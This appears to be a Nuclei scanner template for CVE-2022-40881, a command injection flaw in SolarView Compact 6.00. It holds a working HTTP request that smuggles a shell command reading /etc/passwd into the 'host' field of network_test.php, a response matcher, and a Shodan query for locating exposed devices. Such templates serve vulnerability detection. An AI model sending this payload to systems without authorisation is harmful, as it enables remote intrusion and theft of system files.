42 lines
1.0 KiB
YAML
42 lines
1.0 KiB
YAML
id: CVE-2022-40881
|
|
|
|
info:
|
|
name: SolarView 6.00 - Remote Command Execution
|
|
author: For3stCo1d
|
|
severity: critical
|
|
description: |
|
|
SolarView Compact 6.00 was discovered to contain a command injection vulnerability via network_test.php
|
|
reference:
|
|
- https://github.com/Timorlover/SolarView_Compact_6.0_rce_via_network_test.php
|
|
- https://github.com/advisories/GHSA-wx3r-88rg-whxq
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-40881
|
|
classification:
|
|
cve-id: CVE-2022-40881
|
|
metadata:
|
|
verified: true
|
|
shodan-query: http.favicon.hash:"-244067125"
|
|
tags: cve,cve2022,solarview,rce,lfi
|
|
|
|
variables:
|
|
cmd: "cat${IFS}/etc/passwd"
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /network_test.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
host=%0a{{cmd}}%0a&command=ping
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|